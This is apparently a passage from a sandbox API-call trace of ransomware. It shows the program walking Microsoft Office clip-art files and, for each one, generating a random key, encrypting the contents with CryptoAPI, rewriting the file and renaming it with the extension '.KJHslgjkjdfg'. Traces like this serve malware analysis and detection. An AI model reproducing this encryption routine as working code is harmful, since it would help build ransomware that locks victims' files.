lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0179.000] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.000] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.000] GetProcessHeap () returned 0x2a0000 [0179.000] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.000] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.000] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.000] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.001] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.001] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.001] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.001] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.001] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.001] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.001] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.001] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.001] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x15f4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x15f4, lpOverlapped=0x0) returned 1 [0179.002] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1600, dwBufLen=0x1600 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1600) returned 1 [0179.002] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.002] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1600, lpOverlapped=0x0) returned 1 [0179.003] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.003] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.003] SetEndOfFile (hFile=0x114) returned 1 [0179.005] GetProcessHeap () returned 0x2a0000 [0179.005] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.005] GetProcessHeap () returned 0x2a0000 [0179.005] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.005] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf.kjhslgjkjdfg")) returned 1 [0179.007] CloseHandle (hObject=0x114) returned 1 [0179.007] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187895.WMF", cAlternateFileName="")) returned 1 [0179.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.008] GetProcessHeap () returned 0x2a0000 [0179.008] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.008] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.008] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.008] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.008] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.008] GetProcessHeap () returned 0x2a0000 [0179.008] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.008] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.008] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.008] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.011] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.011] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.011] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.011] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.011] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.011] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.011] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.011] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.011] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd90, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd90, lpOverlapped=0x0) returned 1 [0179.011] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd90, dwBufLen=0xd90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd90) returned 1 [0179.012] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.012] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd90, lpOverlapped=0x0) returned 1 [0179.012] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.012] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.012] SetEndOfFile (hFile=0x114) returned 1 [0179.014] GetProcessHeap () returned 0x2a0000 [0179.014] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.014] GetProcessHeap () returned 0x2a0000 [0179.015] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.015] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf.kjhslgjkjdfg")) returned 1 [0179.016] CloseHandle (hObject=0x114) returned 1 [0179.016] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187921.WMF", cAlternateFileName="")) returned 1 [0179.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.018] GetProcessHeap () returned 0x2a0000 [0179.018] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.018] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.018] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.020] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.020] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.020] GetProcessHeap () returned 0x2a0000 [0179.020] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.020] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.021] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.021] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.021] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.021] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.021] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.021] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.021] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.021] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.021] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1388, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1388, lpOverlapped=0x0) returned 1 [0179.022] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1390, dwBufLen=0x1390 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1390) returned 1 [0179.022] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.023] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1390, lpOverlapped=0x0) returned 1 [0179.023] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.023] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.023] SetEndOfFile (hFile=0x114) returned 1 [0179.026] GetProcessHeap () returned 0x2a0000 [0179.026] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.026] GetProcessHeap () returned 0x2a0000 [0179.026] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.026] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf.kjhslgjkjdfg")) returned 1 [0179.027] CloseHandle (hObject=0x114) returned 1 [0179.027] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188511.WMF", cAlternateFileName="")) returned 1 [0179.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.029] GetProcessHeap () returned 0x2a0000 [0179.029] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.029] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.029] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.029] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.032] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.032] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.032] GetProcessHeap () returned 0x2a0000 [0179.032] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.032] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.032] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.032] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.032] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.032] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.032] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.032] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.033] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.033] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.033] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.033] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.033] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x29dc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x29dc, lpOverlapped=0x0) returned 1 [0179.034] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x29e0, dwBufLen=0x29e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x29e0) returned 1 [0179.034] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.034] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x29e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x29e0, lpOverlapped=0x0) returned 1 [0179.034] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.034] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.034] SetEndOfFile (hFile=0x114) returned 1 [0179.037] GetProcessHeap () returned 0x2a0000 [0179.038] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.038] GetProcessHeap () returned 0x2a0000 [0179.038] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.038] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf.kjhslgjkjdfg")) returned 1 [0179.039] CloseHandle (hObject=0x114) returned 1 [0179.039] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3004, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188513.WMF", cAlternateFileName="")) returned 1 [0179.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.040] GetProcessHeap () returned 0x2a0000 [0179.040] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.040] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.040] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.041] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0179.043] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.043] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.043] GetProcessHeap () returned 0x2a0000 [0179.043] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.043] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.043] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.043] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.043] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.043] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.044] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, 